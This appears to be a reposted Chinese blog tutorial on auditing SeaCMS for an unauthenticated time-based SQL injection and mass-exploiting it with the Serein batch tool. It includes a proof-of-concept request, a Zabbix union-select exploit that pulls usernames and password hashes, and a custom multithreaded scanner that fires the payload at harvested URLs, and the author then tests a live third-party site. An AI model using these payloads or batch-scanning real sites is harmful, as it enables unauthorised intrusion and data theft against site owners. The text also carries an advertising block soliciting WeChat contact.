找回密码
 立即注册
首页 业界区 安全 浅谈代码审计+漏洞批量一把梭哈思路

浅谈代码审计+漏洞批量一把梭哈思路

恿榫 2025-9-26 10:55:50
前言

最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。
工具介绍

项目地址
https://github.com/W01fh4cker/Serein
【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。
具体使用方法下面会介绍
漏洞样本

本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的
这里给出审计的过程
/js/player/dmplayer/dmku/index.php 未授权 sql 注入

这个相比于上一个来说是危害更大,因为不需要登录 admin 用户
[img=720,208.92857142857142]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/91ccb4e8-7253-431a-bbed-ad384bd76b6f.png[/img]

确实是 sleep 了,说明漏洞存在,我们看到代码
  1. if ($_GET['ac'] == "edit") {
  2.    $cid = $_POST['cid'] ?: showmessage(-1, null);
  3.    $data = $d->编辑弹幕($cid) ?:  succeedmsg(0, '完成');
  4.    exit;
  5. }
复制代码
我们跟进编辑弹幕方法
一路来到
  1. public static function 编辑_弹幕($cid)
  2.    {
  3.        try {
  4.            global $_config;
  5.            $text = $_POST['text'];
  6.            $color = $_POST['color'];
  7.            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
  8.            
  9.            $sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";
  10.            $result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";
  11.            $conn->query($sql);
  12.            $conn->query($result);
  13.        } catch (PDOException $e) {
  14.            showmessage(-1, '数据库错误:' . $e->getMessage());
  15.        }
  16.    }
复制代码
这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤
所以导致 sql 注入
还有我们看到当 ac=del,type=list 的时候
  1. else if ($_GET['ac'] == "del") {
  2.        $id = $_GET['id'] ?: succeedmsg(-1, null);
  3.        $type = $_GET['type'] ?: succeedmsg(-1, null);
  4.        $data = $d->删除弹幕($id) ?: succeedmsg(0, []);
  5.        succeedmsg(23, true);
复制代码
进入删除弹幕($id)
  1. public function 删除弹幕($id)
  2.    {
  3.        //sql::插入_弹幕($data);
  4.        sql::删除_弹幕数据($id);
  5.    }
复制代码
进入 sql::删除_弹幕数据($id);
  1. public static function 删除_弹幕数据($id)
  2.    {
  3.        try {
  4.            global $_config;
  5.            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
  6.            $conn->set_charset('utf8');
  7.            if ($_GET['type'] == "list") {
  8.                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
  9.                $result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";
  10.                $conn->query($sql);
  11.                $conn->query($result);
  12.            } else if ($_GET['type'] == "report") {
  13.                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
  14.                $conn->query($sql);
  15.            }
  16.        } catch (PDOException $e) {
  17.            showmessage(-1, '数据库错误:' . $e->getMessage());
  18.        }
  19.    }
复制代码
我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询
漏洞验证
POC
  1. GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1
  2. Host: seacms:8181
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list
  7. Accept-Encoding: gzip, deflate, br
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM
  10. Connection: keep-alive
复制代码
效果如图,可以发现确实延迟了 6 秒
[img=720,644.1428571428571]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/417fc68f-e230-4f36-8d97-1a7f367c4688.png[/img]

工具利用过程

首先就是看工具的逻辑是如何添加漏洞的
首先看主文件
代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下
需要你进入工具的时候配置邮箱和 key
  1. def fofa_saveit_first():
  2.    email = fofa_text1.get()
  3.    key = fofa_text2.get()
  4.    with open("fofa配置.conf","a+") as f:
  5.        f.write(f"[data]\nemail={email}\nkey={key}")
  6.        f.close()
  7.    showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")
  8.    text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")
  9.    text3.see(END)
  10.    fofa_info.destroy()
  11. def fofa_saveit_twice():
  12.    global email_r,key_r
  13.    if not os.path.exists("fofa配置.conf"):
  14.        fofa_saveit_first()
  15.    else:
  16.        email_r = getFofaConfig("data", "email")
  17.        key_r = getFofaConfig("data", "key")
  18. def fofa_info():
  19.    global fofa_info,fofa_text1,fofa_text2,fofa_text3
  20.    fofa_info = tk.Tk()
  21.    fofa_info.title("fofa配置")
  22.    fofa_info.geometry('230x100')
  23.    fofa_info.resizable(0, 0)
  24.    fofa_info.iconbitmap('logo.ico')
  25.    fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")
  26.    fofa_text1 = ttk.Entry(fofa_info, boot, width=30, textvariable=fofa_email)
  27.    fofa_text1.grid(row=0, column=1, padx=5, pady=5)
  28.    fofa_key = tk.StringVar(fofa_info,value="填email对应的key")
  29.    fofa_text2 = ttk.Entry(fofa_info, boot, width=30, textvariable=fofa_key)
  30.    fofa_text2.grid(row=1, column=1, padx=5, pady=5)
  31.    button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, boot)
  32.    button1.grid(row=2, column=1, padx=5, pady=5)
  33.    fofa_info.mainloop()
复制代码
使用 fofa 的处理流程
[img=720,408.85714285714283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/ecedc5cf-0aa7-4335-8f0f-11acc96c7b05.png[/img]

后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能
然后下面是脚本调用逻辑
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
因为一个漏洞是需要你自己写一个 python 脚本的
然后加入你自己自定义的漏洞是在
[img=720,276.42857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b53adc66-f8dd-4a3f-918d-62d0df728204.png[/img]

这个逻辑应该很好理解,比如我的就是
  1. button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,boot)
  2. button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5)
复制代码
然后就是写对应的利用脚本了
因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的
1.png

工具自带了许许多多的利用脚本,我们看一下如何仿写
比如 zabbix_sql.py
  1. import requests
  2. import tkinter as tk
  3. from tkinter import scrolledtext
  4. from concurrent.futures import ThreadPoolExecutor
  5. from ttkbootstrap.constants import *
  6. """
  7. Zabbix ‘popup.php’SQL注入漏洞
  8. http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017
  9. Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。
  10. """
  11. def zabbix_sql_exp(url):
  12.    poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""
  13.    target_url = url + poc
  14.    status_str = ['Administrator', 'User']
  15.    try:
  16.        res = requests.get(url, Verify=False,timeout=3)
  17.        if res.status_code == 200:
  18.            target_url_payload = f"{target_url}"
  19.            res = requests.get(url=target_url_payload,Verify=False)
  20.            if res.status_code == 200:
  21.                for i in range(len(status_str)):
  22.                    if status_str[i] in res.text:
  23.                        zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")
  24.                        zabbix_sql.see(END)
  25.                        with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:
  26.                            f.write(url + "\n")
  27.            else:
  28.                target_url = url + '/zabbix/' + poc
  29.                res = requests.get(url=target_url,verify=False)
  30.                for i in range(len(status_str)):
  31.                    if status_str[i] in res.text:
  32.                        zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")
  33.                        zabbix_sql.see(END)
  34.                        with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:
  35.                            f.write(url + "\n")
  36.        else:
  37.            zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")
  38.            zabbix_sql.see(END)
  39.    except Exception as err:
  40.        zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")
  41.        zabbix_sql.see(END)
  42. def get_zabbix_addr():
  43.    with open("url.txt","r") as f:
  44.        for address in f.readlines():
  45.            address = address.strip()
  46.            yield address
  47. def zabbix_sql_gui():
  48.    zabbix_sql_poc = tk.Tk()
  49.    zabbix_sql_poc.geometry("910x450")
  50.    zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")
  51.    zabbix_sql_poc.resizable(0, 0)
  52.    zabbix_sql_poc.iconbitmap('logo.ico')
  53.    global zabbix_sql
  54.    zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)
  55.    zabbix_sql.grid(row=0, column=0, padx=10, pady=10)
  56.    zabbix_sql.see(END)
  57.    addrs = get_zabbix_addr()
  58.    max_thread_num = 30
  59.    executor = ThreadPoolExecutor(max_workers=max_thread_num)
  60.    for addr in addrs:
  61.        future = executor.submit(zabbix_sql_exp, addr)
  62.    zabbix_sql_poc.mainloop()
复制代码
大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块
因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下
  1. import requests
  2. import time
  3. import tkinter as tk
  4. from tkinter import scrolledtext
  5. from concurrent.futures import ThreadPoolExecutor
  6. from ttkbootstrap.constants import *
  7. # 执行SQL注入检测的函数
  8. def sql_injection_exp(url):
  9.    target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"
  10.    data = {
  11.        "cid": "(select(1)from(select(sleep(6)))x)",
  12.        "text": "1",
  13.        "color": "1"
  14.    }
  15.    headers = {
  16.        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
  17.        "Content-Type": "application/x-www-form-urlencoded"
  18.    }
  19.    start_time = time.time()
  20.    try:
  21.        response = requests.post(target, data=data, headers=headers, timeout=10)
  22.        elapsed_time = time.time() - start_time
  23.        if elapsed_time > 5:
  24.            output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")
  25.            output_text.see(END)
  26.            with open("找到sql注入的url.txt", 'a') as f:
  27.                f.write(url + "\n")
  28.        else:
  29.            output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")
  30.            output_text.see(END)
  31.    except requests.exceptions.RequestException as err:
  32.        output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")
  33.        output_text.see(END)
  34. # 获取URL地址的生成器
  35. def get_urls():
  36.    with open('url.txt', 'r') as file:
  37.        for line in file.readlines():
  38.            yield line.strip()
  39. # GUI界面
  40. def sql_injection_gui():
  41.    root = tk.Tk()
  42.    root.geometry("910x450")
  43.    root.title("seacms前台sql注入")
  44.    root.resizable(0, 0)
  45.    global output_text
  46.    output_text = scrolledtext.ScrolledText(root, width=123, height=25)
  47.    output_text.grid(row=0, column=0, padx=10, pady=10)
  48.    urls = get_urls()
  49.    max_threads = 30  # 并发线程数
  50.    executor = ThreadPoolExecutor(max_workers=max_threads)
  51.    for url in urls:
  52.        future = executor.submit(sql_injection_exp, url)
  53.    root.mainloop()
复制代码
然后添加好模块
[img=720,159.42857142857142]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/dc38eaac-4dc6-4cfe-bb8f-10ca1ed5cdad.png[/img]

可以看见是添加成功了的
实战演示

首先就是搜集 url 了,配置好了之后只需要
[img=720,374.14285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c2beaa15-3141-46a7-abea-ebed4a4ab366.png[/img]

因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了
然后来到你需要利用的板块
2.png

利用的效果
[img=720,396.62531017369724]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/a6c695a3-ef34-48cb-bb88-332765695b79.png[/img]

然后我们可以随便找个网址验证一下
进入网址效果如下,说明网址还在正常使用的
[img=720,442.92857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/3d538300-81a9-4095-921e-7960df299ff0.png[/img]

然后测试漏洞
[img=720,354.2142857142857]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5dd04741-487e-4d27-84b8-1a1761e0a147.png[/img]

可以看见漏洞是存在的
然后就是查权重了
[img=720,356.14285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/26148e14-cd3e-4c79-9f54-1db13fa799d6.png[/img]

这个可以一把梭哈的
更多网安技能的在线实操练习,请点击这里>>
  

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册